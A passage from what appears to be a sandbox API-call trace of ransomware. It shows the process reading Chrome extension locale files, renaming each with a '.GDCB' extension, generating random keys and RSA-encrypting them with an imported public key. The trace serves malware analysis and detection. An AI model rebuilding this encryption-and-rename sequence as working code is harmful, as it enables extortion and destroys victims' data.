dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.588] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.593] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x11e, lpOverlapped=0x0) returned 1 [0270.602] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.610] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.gdcb")) returned 1 [0270.616] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.621] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.621] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.626] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.626] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.628] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ce0) returned 1 [0270.628] CryptGetKeyParam (in: hKey=0x6798ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.628] CryptEncrypt (in: hKey=0x6798ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.628] GetLastError () returned 0x0 [0270.628] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.628] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.630] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799060) returned 1 [0270.630] CryptGetKeyParam (in: hKey=0x6799060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.630] CryptEncrypt (in: hKey=0x6799060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.630] GetLastError () returned 0x0 [0270.630] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.630] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.631] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.634] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.636] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x13e, lpOverlapped=0x0) returned 1 [0270.645] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.651] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.gdcb")) returned 1 [0270.656] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.661] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.661] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.661] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.665] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.665] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.667] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798da0) returned 1 [0270.667] CryptGetKeyParam (in: hKey=0x6798da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.667] CryptEncrypt (in: hKey=0x6798da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.668] GetLastError () returned 0x0 [0270.668] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.668] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.669] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798de0) returned 1 [0270.669] CryptGetKeyParam (in: hKey=0x6798de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.669] CryptEncrypt (in: hKey=0x6798de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.670] GetLastError () returned 0x0 [0270.670] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.671] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.674] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.676] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc8, lpOverlapped=0x0) returned 1 [0270.684] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.690] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.gdcb")) returned 1 [0270.695] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.700] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.700] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.700] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.705] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.705] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.705] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.707] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798f20) returned 1 [0270.707] CryptGetKeyParam (in: hKey=0x6798f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.707] CryptEncrypt (in: hKey=0x6798f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.707] GetLastError () returned 0x0 [0270.707] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.707] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.709] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798f60) returned 1 [0270.709] CryptGetKeyParam (in: hKey=0x6798f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.709] CryptEncrypt (in: hKey=0x6798f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.709] GetLastError () returned 0x0 [0270.709] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.709] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.710] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.713] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.715] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0270.724] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.730] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.gdcb")) returned 1 [0270.735] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.740] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.740] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.740] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.740] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.744] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.744] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.744] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.746] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67990a0) returned 1 [0270.746] CryptGetKeyParam (in: hKey=0x67990a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.746] CryptEncrypt (in: hKey=0x67990a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.747] GetLastError () returned 0x0 [0270.747] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.747] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.748] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798d20) returned 1 [0270.749] CryptGetKeyParam (in: hKey=0x6798d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.749] CryptEncrypt (in: hKey=0x6798d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.749] GetLastError () returned 0x0 [0270.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.749] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.750] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.753] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.755] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x299, lpOverlapped=0x0) returned 1 [0270.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.769] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.gdcb")) returned 1 [0270.774] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.779] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.779] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.779] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.784] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.784] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.786] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798fa0) returned 1 [0270.786] CryptGetKeyParam (in: hKey=0x6798fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.786] CryptEncrypt (in: hKey=0x6798fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.786] GetLastError () returned 0x0 [0270.786] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.786] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.788] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67988e0) returned 1 [0270.788] CryptGetKeyParam (in: hKey=0x67988e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.788] CryptEncrypt (in: hKey=0x67988e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.788] GetLastError () returned 0x0 [0270.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.788] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 